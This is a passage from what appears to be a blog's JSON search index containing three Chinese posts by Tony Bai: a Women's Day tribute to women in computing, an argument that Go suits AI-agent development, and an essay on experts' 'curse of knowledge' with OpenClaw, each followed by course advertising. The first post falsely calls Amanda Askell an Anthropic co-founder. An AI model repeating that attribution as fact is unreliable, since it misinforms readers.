“软件工程 (Software Engineering)” 这个词，并为其赋予了与硬件工程同等的严谨性。\n她的远见卓识在历史性的一刻拯救了全人类的心跳。就在阿波罗 11 号即将降落月球表面的最后 3 分钟，由于雷达系统的硬件故障，登月舱的计算机突然被大量无关的数据淹没，系统濒临崩溃，警报声大作。\n在地面指挥中心准备下令中止登月时，Hamilton 带领团队设计的**“异步优先调度（Asynchronous Executive）”机制**发挥了奇效。这段极其健壮的容错代码，让计算机瞬间抛弃了低优先级的雷达任务，将全部仅存的算力集中在最关键的着陆控制上。\n阿姆斯特朗成功踏上了月球，而这背后，是 Hamilton 用代码织就的绝对安全网。\n当代灯塔：站在技术浪潮之巅的开源与企业领袖 历史的丰碑固然闪耀，但“巾帼力量”绝不仅仅存在于泛黄的黑白照片中。当我们把视线拉回当代，你会发现在云计算、开源社区和最前沿的人工智能领域，女性依然是不可或缺的领航者。\n在开源世界的深水区，也就是最具“硬核极客文化”的容器和底层基础设施领域，Jessie Frazelle 的名字如雷贯耳。作为 Docker 的核心维护者之一，她写下了 Docker 中许多最底层的安全和隔离特性代码。她以一人之力在充满偏见和偶尔充斥着“有毒（Toxic）”言论的开源社区中杀出一条血路，证明了女性同样可以在最底层的系统编程中达到登峰造极的水平。\n而在当今如火如荼的 AI 浪潮中，我们更不能忘记李飞飞 (Fei-Fei Li)。在深度学习还处于被学术界边缘化的低谷期时，李飞飞敏锐地意识到：模型再好，没有海量的高质量数据也无法发生质变。于是，她顶住巨大压力，发起了 ImageNet 计划，构建了一个包含 1400 万张标注图片的庞大数据库。\n正是 ImageNet 的存在，直接催生了 2012 年 AlexNet 的横空出世，引发了这一轮浩浩荡荡的深度学习和 AI 大爆发。她被称为“AI 界的拓荒者”，用女性特有的坚韧和长远目光，为整个行业打下了最坚实的地基。\nAI 时代的新契机：为什么未来的技术世界更需要“她”？ 2024 年至今，随着生成式 AI（GenAI）、大型语言模型（LLM）以及自主 Agent（如 Claude Code, Cursor）的极速普及，软件工程的范式正在经历一场彻底的颠覆。\n“敲击代码”这一纯体力的动作正在被 AI 代替。很多从业者感到恐慌：如果机器能在几秒钟内写出完美的并发处理代码，程序员的价值到底在哪里？\n讽刺的是，这场由机器主导的技术革命，反而为女性程序员在科技行业中的地位跃升，提供了百年难遇的新契机。为什么这么说？\n从“机器语者”到“交响乐指挥”：Prompt 工程与沟通的艺术 在传统的编程时代，程序员需要像机器一样思考，用极其死板和严苛的语法去迎合编译器。这在某种程度上，筛选出了一批极度专注于逻辑细节、但不一定擅长横向沟通的人群。\n但在 AI 辅助编程时代，人类的角色从“写代码的工人”变成了“指挥 AI 的产品经理”。你需要做的是深刻理解业务需求、拆解复杂系统，并用自然语言（Prompt）精准地将意图传达给 AI。\n这要求极高的沟通能力、同理心、大局观以及对模糊意图的澄清能力。而这些，恰恰是许多女性在长期社会化过程中被培养出的显著优势。未来的顶级工程师，不再是那些能背诵冷门 API 的人，而是那些能够清晰表达意图、优雅编排多个 AI Agent 协同工作的“交响乐指挥”。\n消除算法的“傲慢与偏见”：AI 伦理的守门人 AI 就像一面镜子，它会无情地反射并放大人类社会中存在的所有偏见。如果我们训练 AI 模型的工程师团队是清一色的单一性别、单一族裔（例如传统的“硅谷白人男性俱乐部”），那么这个 AI 生成的简历筛选算法、医疗诊断模型或是自动驾驶策略，必然会带有难以察觉的系统性偏见。\n在 AI 对齐（Alignment）和 AI 安全（AI Safety）领域，我们需要多元化的视角来纠正机器的偏见。女性研究者和工程师在感知社会公平、识别弱势群体需求方面往往具有更敏锐的触觉。如今，在 OpenAI、Anthropic 等顶级 AI 实验室中，主导 AI 伦理和安全护栏工作的核心领导层中，出现了越来越多卓越的女性身影。比如Anthropic联合创始人阿曼达·阿斯克尔（Amanda Askell），就是一位训练有素的哲学家，她帮助管理Claude的个性。没有女性参与的 AI，注定是一个有缺陷的 AI。\n全栈通才的崛起与“产品思维”的胜利 由于 AI 极大地降低了后端的复杂度和前端页面的构建门槛，“一人公司”或“超级小团队”正在成为现实。\n这要求未来的开发者必须是懂产品、懂设计、懂用户心理的“全栈通才”。仅仅会写高并发代码已经不够了，你还需要知道如何设计出让用户感到温暖、舒适的交互界面。女性往往具备更强的跨界融合能力和细腻的用户感知能力，在“技术与人文的十字路口”，她们将比纯粹的“代码机器”爆发出更强大的创造力。\n小结：传承遗产，编写未来 回顾历史，从 Ada Lovelace 描绘在纸带上的第一个循环，到 Grace Hopper 拔出的第一只真实飞蛾；从 Margaret Hamilton 保护阿波罗登月的汇编指令，到如今女性工程师在 LLM 底层写的对齐代码。\n女性，从未在计算机科学的历史中缺席。 她们不仅是历史的参与者，更是很多决定性瞬间的缔造者。\n然而，我们依然要清醒地看到，今天在 GitHub 的开源提交中、在科技公司的高管会议室里，女性的比例依然没有达到应有的平衡。打破这种隐形的“天花板”和玻璃墙，需要我们每一个人——无论男女——去对抗潜意识中的刻板印象。\n代码没有性别，Bug 也不分男女。优秀的架构设计只认同逻辑的严密，而不关心键盘后那双手的粗细。\n在这个 AI 浪潮奔涌的时代前夕，让我们向所有奋斗在键盘前、熬夜在服务器旁、在开源社区里无私贡献的女程序员们致以最崇高的敬意。\n愿 Ada 的远见、Hopper 的坚持和 Hamilton 的严谨，能够化作一行行永不退色的代码，注入到每一位女性开发者的指尖。\n3.8 国际妇女节快乐！愿你们继续用代码，勇敢、自由地编译属于你们的未来！\n致敬身边的“她”\n在你的开发生涯中，是否曾遇到过让你深感佩服的女性技术伙伴？或者，作为一名女性开发者，你在 AI 时代的浪潮中有什么独特的感悟？\n欢迎在评论区留下你对“她”的赞美或故事！我们将精选留言，一起传递这份力量。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/her-power-in-code-pioneers-to-ai-era-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era\"\u003ehttps://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e当我们闭上眼睛，想象一个“程序员”的形象时，脑海中浮现的画面是什么？\u003c/p\u003e\n\u003cp\u003e很长一段时间里，流行文化和媒体在不遗余力地塑造一种刻板印象：穿着格子衬衫、戴着黑框眼镜、不善言辞的男性，在昏暗的灯光下敲击着键盘。硅谷的“兄弟会文化（Bro-culture）”更是将这种刻板印象固化，仿佛编程从诞生之日起，就是一项由男性绝对主导的活动。\u003c/p\u003e","title":"从第一位程序员到 AI 时代的领航者：代码世界里的“她”力量"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents\n大家好，我是Tony Bai。\n当我们在谈论 AI 编程时，Python 似乎是那个无需讨论的“默认选项”。\n然而，随着 AI 应用从模型训练（Training）走向自主智能体（Agents）和复杂的工程落地，基础设施层的语言选型正在悄然发生变化。近日，开源数据编排工具 Bruin 的作者发表了一篇题为《Go 是开发 AI Agents 的最佳语言》的文章，在 Hacker News 上引发了数百条跨语言阵营的激烈辩论。\n为什么一位有着 10 年 Python 和 JS 经验的开发者，最终选择用 Go 来构建现代 AI 基础设施？在 AI 生成代码（AI-Generated Code）日益普及的今天，编程语言的“静态类型”、“编译速度”和“语法极简主义”又被赋予了怎样的新维度价值？\n本文将深度拆解这场争论，带你探讨在“Vibe Coding（氛围编程）”时代，Go 语言如何凭借其独特的设计哲学，意外地命中 AI Agent 开发的甜点。\n为什么是 Go？来自生产一线的工程反思 Bruin 是一个开源的 ETL（提取、转换、加载）工具。在数据工程领域，Python 拥有统治级的地位（Pandas, Airflow 等），按理说，Bruin 完全应该用 Python 编写。\n但作者最终选择了 Go。原因在于，AI Agent 和数据编排工具在本质上属于基础设施（Infrastructure），它们面临的工程约束与模型训练截然不同：\n极致的并发需求：Agent 绝大部分时间都在等待外部 API 的响应（OpenAI, Anthropic）。Go 极其轻量的 Goroutine 机制（2KB 栈空间，极低的上下文切换成本）允许在单机上轻松维持数万个并发请求，而 Python 的 GIL（全局解释器锁）即使配合 asyncio，在 500-1000 RPS 后也会遇到明显的线程竞争瓶颈。(注：最新版Python已经去除了GIL的限制。) 极简的部署体验：Go 编译出的单一静态二进制文件，无需像 Python 那样处理复杂的虚拟环境（venv）、依赖冲突和运行版本问题。对于需要在用户机器上运行的 CLI 工具来说，Go 是“分发即运行”的典范。 跨平台验证的便利：Go 一等公民的跨平台编译能力，意味着不仅开发者可以轻松构建多平台产物，未来的“后台 AI Agent”也能在一个隔离的沙箱中快速验证代码的跨平台兼容性。 除了上述硬核的工程指标外，作者还坦诚地分享了一个极其主观，但对初创团队至关重要的考量：开发体验（Developer Experience）与情绪价值。\n作者将在很长一段时间内作为项目的核心贡献者，他深刻地意识到：\n“对于一个小型团队来说，在构建大型项目时，快乐和活力（Joy and Energy）是最稀缺的资源之一。因此，至关重要的是，我不能对自己每天要面对的技术栈感到畏惧或厌烦。”\nGo 语言或许在某些特性上不如 Python 灵活，也不如 Rust 表达力强，但它带来的那种“一切尽在掌握”的确定性和快速获得反馈的成就感，能让开发者在漫长的马拉松式开发中保持心流状态。这种心理层面的正向反馈，在 AI Agent 这种充满不确定性的前沿领域探索中，往往是支撑团队走过低谷、坚持到黎明的关键力量。\n如果说以上只是 Go 作为“云原生王者”的常规操作，那么在引入大语言模型（LLM）作为“代码生成器”后，Go 的语言特性产生了奇妙的化学反应。\n静态编译：给 AI 戴上“紧箍咒” 当 Coding Agent 开始每分钟吐出成千上万行代码时，最大的挑战不再是“如何生成”，而是“如何证明它有效”。\n在解释型语言（如 Python 或 JavaScript）中，代码的正确性往往只有在运行到特定分支时才能被验证。作者指出，这是 Go 在对抗 AI 幻觉时最大的优势之一：Go 是一门强类型的编译型语言。\n编译器的“守门员”效应 当你用 LLM 生成 Go 代码时，go build 成了一道天然且严苛的防火墙。类型不匹配、未使用的变量、错误的函数签名——这些占据了 AI 幻觉相当大比例的低级错误，会被 Go 编译器瞬间无情地驳回。\n正如一位 HN 网友 所言：\n“在这个人人都在‘氛围编程（vibing left and right）’的时代，你迫切需要一个编译器在背后支持你。Go 让你可以写稍微随意一点的代码，但又不会像 Python 或 JS 那样毫无底线。编译器扮演了看门人的角色，将混乱控制在一定范围内。”\n为什么不是 Rust？ 讲到编译期安全，Rust 绝对是无可争议的王者。但为什么作者认为 Go 比 Rust 更适合 AI Agent？\n迭代速度决定一切：AI Agent 的工作流是一个“生成 -\u0026gt; 编译 -\u0026gt; 报错 -\u0026gt; 修复”的紧密反馈循环（Feedback Loop）。Go 的编译速度几乎是瞬时的，这使得 LLM 的试错循环可以极快地运转。而 Rust 漫长的编译时间，在这里成为了致命的瓶颈。 借用检查器的“认知负荷”：Rust 的内存模型（生命周期、借用）极其复杂。现阶段的 LLM 在处理复杂的借用关系时，常常会陷入“为了让编译器闭嘴而无脑 clone()”的陷阱，导致生成的代码偏离 Rust 的最佳实践。 更平缓的试错成本：Go 的垃圾回收（GC）机制让 AI（以及审查代码的人类）可以专注于业务逻辑，而不必在内存管理上耗费计算 token 和审查精力。 简单来说：Rust 的上限极高，但门槛太陡；Go 用 20% 的努力（快速编译+GC），换取了 80% 媲美 Rust 的安全性，这恰好是 AI 迭代的最优解。\n极简主义与“无聊”的胜利 Go 语言自诞生起，就因为其语法的“无聊”和“死板”（比如缺乏灵活的宏、长期没有泛型、繁琐的错误处理）而饱受争议。然而，在 AI 时代，这种“无聊”却意外地成为了巨大的优势。\n“只有一种做法”的红利 Python 和 JavaScript 以“灵活”著称。在一个 JS 项目中，有人用 CommonJS，有人用 ES6 Modules；有人用 npm，有人用 pnpm。对于人类来说，这叫“生态繁荣”；但对于 LLM 来说，这叫“状态空间爆炸”（High Entropy）。\nGo 是极其“固执”的语言（Opinionated）。\n格式化代码？只有 gofmt。 怎么处理错误？永远是 if err != nil。 怎么写测试？标准库 testing 包。 正如作者指出的：“要求 Agent 格式化 JS 代码，它会去引入一个新工具并尝试配置它；而在 Go 中，它只需要运行 gofmt。”\n这种高度统一的代码风格，意味着在 LLM 的训练语料库中，Go 代码的“信噪比”极高。模型不需要在多种编程范式中猜测你的偏好，它输出的 Go 代码通常具有高度的同质性和可预测性。\n人类可读性：代码审查的最后防线 当 AI 成为主要的“代码编写者”时，人类的角色将不可避免地向“代码审查者（Code Reviewer）”倾斜。\n如果 AI 生成了一段高度抽象的 Haskell 代码，或者使用了大量宏的 Rust 代码，人类审查者需要耗费极大的脑力去反编译这些逻辑。\n而 Go 代码是出了名的“所见即所得”。没有隐藏的控制流，没有复杂的运算符重载。当 AI 生成了几百行 Go 代码时，即使是一位初级开发者，也能相对轻松地顺着逻辑线读懂它在干什么。\n在 AI 编程的下半场，“代码易读”将比“代码易写”重要一万倍。\n跨越阵营的交锋：Hacker News 的不同声音 当然，这篇文章在 Hacker News 上并非一边倒的赞同。不同语言阵营的开发者提出了极其犀利的反思。\n反思一：Python 真的过时了吗？ Python 拥护者指出，文章混淆了“运行时性能”和“开发生态”。\n虽然 Go 在高并发和 I/O 上碾压 Python，但如果 AI Agent 的核心逻辑涉及大量的数据科学计算、复杂的概率模型，或者需要直接调用底层的 C++ 机器学习库，Python 依然是不可替代的粘合剂。对于许多初创团队来说，“让代码先跑起来”远比“让代码跑得快”更重要。\n反思二：类型系统能否取代测试？ 支持函数式语言（如 OCaml, F#）的开发者指出，Go 的类型系统依然过于薄弱。\nGo 缺乏代数数据类型（ADT）和模式匹配，导致其虽然能抓住低级语法错误，但难以像 Rust 或 OCaml 那样“在编译期保证业务逻辑状态的正确性”。\n对于他们而言，如果 AI 真的足够聪明，应该让 AI 生成具有极强类型约束的代码，把正确性完全交给编译器，而不是像 Go 那样依然需要编写大量的单元测试。\n反思三：长远来看，语言还重要吗？ 这是一个终极的哲学问题：如果未来 AI 不再犯错，能够零成本生成正确的机器码，高级编程语言还有存在的意义吗？\n有评论认为，当模型能力足够强时，我们甚至不需要编译型语言的保护，直接用自然语言（英语）+ LLM 生成运行时的 WebAssembly 可能才是终局。在这个维度上，争论 Go 还是 Python，就像在争论用什么牌子的算盘（意指已经被时代所抛弃的东西）一样没有意义。\n小结：实用主义者的狂欢 在 AI 技术日新月异的当下，我们往往容易陷入一种对“前沿”的盲目崇拜，认为只有最复杂的语言、最先进的模型才能构建出优秀的系统。\n但 Bruin 作者的实践和 Go 社区的繁荣告诉我们另一个故事：工程的本质是权衡（Trade-off）。\nGo 并不是世界上最完美的语言，它的类型系统不如 Rust 严谨，它的生态不如 Python 庞大。但它用极致的编译速度、简单的并发模型、出色的内存管理和统一的编码规范，构建了一个容错率极高的工程基座。并且在这个基座上，无论是人类还是 AI Agent，都能以最低的“认知摩擦力”输出可靠的工业级代码。\n资料链接：\nhttps://getbruin.com/blog/go-is-the-best-language-for-agents/ https://news.ycombinator.com/item?id=47222270 你更相信谁？\n在 AI 编程的下半场，语言的地位正在重构。你是坚守 Python 的生态优势，还是更看好 Go 在“基础设施级 Agent”中的爆发？你认同“编译器是 AI 的最佳守门员”这个观点吗？\n欢迎在评论区留下你的“阵营宣言”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-go-is-the-best-language-for-ai-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents\"\u003ehttps://tonybai.com/2026/03/07/why-go-is-the-best-language-for-ai-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e当我们在谈论 AI 编程时，Python 似乎是那个无需讨论的“默认选项”。\u003c/p\u003e\n\u003cp\u003e然而，随着 AI 应用从模型训练（Training）走向自主智能体（Agents）和复杂的工程落地，基础设施层的语言选型正在悄然发生变化。近日，开源数据编排工具 Bruin 的作者发表了一篇题为《\u003ca href=\"https://getbruin.com/blog/go-is-the-best-language-for-agents/\"\u003eGo 是开发 AI Agents 的最佳语言\u003c/a\u003e》的文章，在 Hacker News 上引发了数百条跨语言阵营的\u003ca href=\"https://news.ycombinator.com/item?id=47222270\"\u003e激烈辩论\u003c/a\u003e。\u003c/p\u003e","title":"AI 时代的新王座：为什么说 Go 可能是开发 AI Agent 的最佳语言？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw\n大家好，我是Tony Bai。\n最近一个多月，一个名为 OpenClaw（其前身为火爆全网的 Moltbot/Clawdbot）的开源 AI Agent 项目在 GitHub 上引发了现象级的热潮。\n这个项目的核心逻辑并不复杂：它本质上是一个“网关 + 大模型 + 智能体运行时”的架构组合。然而，令人惊奇的并非技术本身，而是参与这场狂欢的人群画像。\n在 OpenClaw 的社区里，或者说在整个 AI 应用（特别是 Agentic Workflow）的早期探索者中，我们看到了一个极其反直觉的“倒挂现象”：\n那些没有深厚技术包袱的跨界人士、产品经理、甚至是刚刚入门的初级开发者，往往比资深的架构师、高级程序员更能放开手脚。他们不仅用 AI 快速搭建出了令人拍案叫绝的应用，而且玩法百出；相反，那些拥有十几年专业知识的 IT 专家们，却在这场浪潮中显得迟疑、挑剔，甚至有些“滞后”。\n为什么会这样？难道多年的专业训练，在 AI 时代反而成了一种负担？\n这不是偶然，这是每一次技术范式发生根本性转移时，必然上演的心理学与社会学大戏。今天，我们来深度剖析，在这场由 AI 驱动的创新重组中，到底是什么法则在起作用？\n认知的枷锁：知识的诅咒与“局部最优解” 在认知心理学中，有一个著名的概念叫做**“知识的诅咒 (Curse of Knowledge)”**。当你对某件事物极其精通后，你便很难再想象“不懂它是什么感觉”。\n对于资深 IT 工程师来说，他们的大脑在过去二十年里被训练成了一台精密的逻辑机器。在他们的认知框架里，构建一个可用的软件必须经历严苛的工序：需求分析、系统设计、数据库建模、API 定义、编码、异常处理、编写测试用例、部署 CI/CD 流水线。这是软件工程沉淀半个世纪的“最佳实践”。\n专业者的困境：寻找漏洞的本能\n当一位资深架构师看到新手用自然语言向 OpenClaw 下达指令，几秒钟后直接越过所有中间步骤，“吐”出一个能跑的网页时，他的第一反应通常不是惊喜，而是找漏洞：\n“这代码的扩展性太差了。” “它根本没有考虑并发安全！” “这简直是毫无设计模式可言的‘屎山代码’。” 专家们习惯用“工业级”的标准去审视一个还处于“泥巴期”的新事物。他们深陷在旧有范式的“局部最优解”中，用防御性的眼光抵触这种充满不确定性的黑盒魔法。\n跨界者的优势：“白纸”的实用主义\n而对于非 IT 人士或初级开发者来说，他们是一张白纸，没有这些沉重的认知包袱。\n他们不关心代码是否优雅，不关心是否符合 DRY（Don’t Repeat Yourself）原则。他们只关心一个极其纯粹的实用主义目标：“这东西能不能帮我解决眼前的麻烦？”\n因为没有“正确方法”的束缚，他们反而敢于向 AI 提出那些在传统程序员看来荒谬无比的需求。他们将大模型视为第一且唯一的开发范式，没有“退回旧路”的成本。这种无知者无畏的“松弛感”，正是颠覆性创新的温床。\n创新与风险：不对称的试错成本 埃弗雷特·罗杰斯的《创新的扩散》理论告诉我们，人们对新技术的接受度，往往取决于采用该技术所带来的风险与收益的不对称性。\n专业者的沉没成本与防御姿态\n在企业环境中，高级工程师不仅是代码的生产者，更是系统稳定性、安全性与可维护性的最后一道防线。如果引入不可控的 AI Agent 导致了生产环境数据泄露或系统崩溃，承担责任的是专家。\n此外，还有巨大的沉没成本 (Sunk Cost)。一位架构师花了十年时间精通 JVM 调优或分布式事务，当 AI 的出现让这些底层技能在应用层的价值瞬间稀释时，潜意识的自我防御机制会促使他们贬低 AI 的能力（“它只是个玩具，替代不了深度的逻辑思考”），以此来维护自身“手艺人”的安全感。\n初学者的绝对进攻\n反观那些跨界探索者，他们使用 OpenClaw 往往是为了解决个人的长尾痛点——比如用 AI 当一个带语音识别的智能闹钟，或者写一个爬虫去抓取公开数据。\n对于他们来说，试错成本几乎为零。如果 AI 产生幻觉写错了代码，大不了删掉重新生成一次。他们不需要对代码的生命周期负责，不需要应对凌晨三点的线上报警。这种极低的责任负担，赋予了他们极其强大的探索勇气和行动力。\n正如 OpenClaw 的原作者 Peter Steinberger 在访谈中反复强调的那句话：“我是为了好玩 (Have fun) 才做这个的。” 玩乐心态，在很多时候比严肃的工程思维更能催生奇迹。\n权力的下放：从“技术专享”到“大众狂欢” 除了心理和认知因素，我们还必须看到 AI 带来的社会学层面的权力重组。\n在过去的数字化时代，懂代码的 IT 工程师掌握了“与机器对话”的专属权力。他们就像是数字时代掌握着专业语言的翻译官，普通人必须通过他们（提需求），才能让机器运转。\n而以 LLM 为核心的 AI Agent 工具，本质上是一场技术的民主化运动。\n它彻底打破了这种权力垄断。现在，交互界面从晦涩的编程语言退化成了最通用的人类自然语言。任何一个会说话的人，只要逻辑清晰，都可以越过“翻译官”，直接指挥机器集群。\n对于原本掌握专有技能的技术人，这种权力的稀释和下放，必然会带来认知上的不适感和本能的审视。 而对于更广泛的大众群体，这却是天降神兵。他们突然获得了原本遥不可及的软件构建能力，于是爆发出前所未有的热情，在各个垂直领域大显身手。 小结：打破诅咒，重塑自我 当我们看懂了这层逻辑，我们就不难理解为何 OpenClaw 这样的项目能在极短时间内引爆开源社区，也能理解为何许多传统技术精英在面对 AI 时代显得有些迷茫。\n历史的经验一再证明：在每一次颠覆性的范式转移初期，最先跑出来的往往不是被旧规则束缚的“老手”，而是那些轻装上阵、没有包袱的“新手”。\n但这并不意味着资深 IT 专家将被淘汰。专家的绝对优势在于对复杂系统的宏观把控能力、对底层逻辑的深刻理解，以及深厚的工程底蕴。真正的危机在于：你是否被困在了自己过去的成功经验里？\n对于所有技术从业者而言，破局之道只有一个：主动打破“知识的诅咒”。\n放下固有的“代码洁癖”，拥抱这种看似“不够严谨”的 Agentic 范式。将你的专业工程经验，从“亲自写出每一行完美代码”升维到“如何设计更安全的护栏、更合理的架构，以驾驭庞大的机器集群”。\n与其站在岸边审视新手的粗糙，不如自己跳入这股洪流。毕竟，在 AI 时代，保持“新手心态（Beginner’s Mind）”，才是最高级的专业素养。\n你被“诅咒”了吗？\n面对 AI 这种“黑盒魔法”，你是否也曾像文中描述的那样，本能地先去审视它的代码质量和扩展性，而错失了快速交付的时机？在你身边，是否已经出现了那种“不懂代码却玩转 AI”的新手神人？\n欢迎在评论区分享你的“扎心”时刻或反思！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/breaking-curse-of-knowledge-architect-reflection-openclaw-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/07/breaking-curse-of-knowledge-architect-reflection-openclaw\"\u003e本文永久链接\u003c/a\u003e – \u003ca 